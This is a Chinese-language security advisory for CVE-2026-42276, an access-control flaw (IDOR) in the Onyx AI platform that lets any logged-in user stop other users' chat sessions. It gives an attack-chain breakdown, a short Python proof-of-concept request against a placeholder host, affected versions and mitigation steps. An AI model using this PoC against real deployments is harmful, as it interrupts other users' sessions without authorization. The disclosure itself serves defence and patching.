IPBUF安全漏洞报告
English
CVE-2026-42276 CVSS 4.3 中危

CVE-2026-42276 Onyx越权停止聊天会话漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42276
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Onyx

相关标签

权限绕过IDOROnyxAI平台逻辑漏洞

漏洞概述

Onyx是一个开源AI平台。在3.0.9、3.1.6和3.2.6版本之前,该平台存在一个安全漏洞。攻击者可以通过POST /chat/stop-chat-session/{chat_session_id}接口,在仅经过身份验证的情况下,强制停止任何其他用户的活跃聊天会话。系统虽然验证了用户身份,但未能验证会话的所有权。如果攻击者知道了聊天会话的UUID,即可中断其他用户的LLM生成过程。该问题已在后续版本中修复。

技术细节

该漏洞属于典型的越权访问漏洞(IDOR)。在受影响的Onyx版本中,`POST /chat/stop-chat-session/{chat_session_id}` 接口仅实施了身份验证,确保请求者是系统的注册用户,但未实施严格的授权验证。具体而言,后端代码在接收到停止会话的请求时,直接根据URL路径中的`chat_session_id`参数查找对应的会话对象并执行停止操作,而没有检查该会话是否属于当前发起请求的用户。由于聊天会话的UUID通常是可预测的或可通过其他方式获取的,任何低权限的攻击者只要获得了目标会话的ID,就可以利用此漏洞向该接口发送请求。这将导致目标用户正在进行的LLM(大语言模型)生成任务被强制中断,破坏服务的可用性,尽管不会泄露数据或篡改数据,但对用户体验造成严重影响。

攻击链分析

STEP 1
信息收集
攻击者获取目标用户的聊天会话UUID。
STEP 2
身份认证
攻击者使用自己的低权限账户登录系统,获取有效的认证令牌。
STEP 3
发送恶意请求
攻击者构造POST请求,将获取到的UUID填入/chat/stop-chat-session/{id}接口。
STEP 4
执行攻击
服务器因未校验会话归属,直接执行停止操作,导致目标用户会话中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL and vulnerable endpoint base_url = "http://target-onyx-instance.com" target_session_uuid = "uuid-of-victim-chat-session" endpoint = f"{base_url}/chat/stop-chat-session/{target_session_uuid}" # Attacker's authentication token (cookies or headers) attacker_cookies = { "access_token": "attacker_valid_token" } # Send the request to stop the victim's chat session response = requests.post(endpoint, cookies=attacker_cookies) if response.status_code == 200: print(f"[+] Successfully stopped chat session {target_session_uuid}") else: print(f"[-] Failed to stop session. Status code: {response.status_code}")

影响范围

Onyx < 3.0.9
Onyx < 3.1.6
Onyx < 3.2.6

防御指南

临时缓解措施
建议立即将Onyx平台升级至修复版本(3.0.9、3.1.6或3.2.6及以上)。在无法立即升级的情况下,应严格限制对/chat/stop-chat-session接口的网络访问权限,仅信任内部服务调用,或通过反向代理层增加额外的逻辑验证,防止未授权的会话中断操作。

参考链接